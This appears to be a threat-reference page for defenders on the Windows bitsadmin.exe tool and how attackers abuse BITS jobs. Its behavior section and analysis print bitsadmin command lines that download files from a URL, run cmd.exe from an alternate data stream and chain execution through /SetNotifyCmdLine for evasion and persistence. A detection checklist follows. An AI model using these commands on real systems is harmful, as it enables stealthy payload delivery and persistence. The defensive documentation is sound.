Process
bitsadmin.exe
bitsadmin.exe is a command-line tool for creating and managing BITS (Background Intelligent Transfer Service) jobs, which download or upload files in the background through a Windows service. Windows Update and many installers rely on BITS to fetch data resiliently. Microsoft has deprecated bitsadmin in favor of PowerShell, but attackers still use it to download payloads and to run a command when a transfer finishes.
File identity
Not observed.
Not observed.
Not observed.
Not observed.
Execution context
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Ancestry
Not observed.
Not observed.
Not observed.
Not observed.
Behavior
Not observed.
Not observed.
Not observed.
Not observed.
bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1ADS · Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1Download · Download file from Internetbitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /resetCopy · Copy filebitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /ResetExecute · Execute binary file specified. Can be used as a defensive evasion.
Indicators
Not observed.
Analysis
bitsadmin.exe drives the Background Intelligent Transfer Service, the Windows component that moves files in the background using spare bandwidth and survives reboots and dropped connections. BITS is the machinery behind much of Windows Update and software delivery. The genuine binary lives at C:\Windows\System32\bitsadmin.exe. Microsoft deprecated it in favour of the PowerShell BITS cmdlets (Start-BitsTransfer), so newer scripts increasingly use those instead.
A job is built up in steps: /create makes it, /addfile attaches a source URL and a local destination, and /resume starts the transfer. Two details matter for triage. The transfer itself is carried out by the BITS service inside svchost.exe, not by bitsadmin, so the network connection comes from the service rather than the tool. And /SetNotifyCmdLine attaches a command that BITS runs when the job completes.
Legitimately, bitsadmin is uncommon on a normal desktop, because the BITS service does its work without anyone invoking the command-line tool. Its parent and the job it builds on the command line are what give an instance meaning.
bitsadmin.exe is a stealthy download tool (T1105, T1197). A line like bitsadmin /transfer job https://host/payload C:\Users\Public\p.exe pulls a file through the BITS service, which blends with normal update traffic and resumes across reboots. Crucially, the connection is made by svchost.exe hosting BITS, not by bitsadmin, so a network-centric view misses the origin entirely.
Its real signature technique is BITS Jobs (T1197). /SetNotifyCmdLine tells BITS to run a program when a job finishes, which lets an attacker chain a download to execution, or stand up a long-lived or recurring job as persistence that re-runs their command. The job lives in the BITS database rather than an obvious autostart location, so it survives reboots and evades the usual persistence checks.
In every case the binary is the genuine signed bitsadmin, the work hides behind a legitimate background service, and the activity resembles an ordinary update. The command-line verbs (/transfer, /addfile, /SetNotifyCmdLine) and the parent are where the intent shows.
- Image path other than
C:\Windows\System32\bitsadmin.exehigh /transferor/addfilewith anhttp/httpsURLhigh/SetNotifyCmdLineattaching a command to a jobhigh- Parent is an Office application,
cmd.exe,powershell.exe,wscript.exe,cscript.exe, ormshta.exehigh - A job downloading to a user-writable path (
Temp,AppData,Downloads)high - Long-lived, suspended, or oddly named BITS jobs left on the systemmed
Telemetry
Not observed.
Not observed.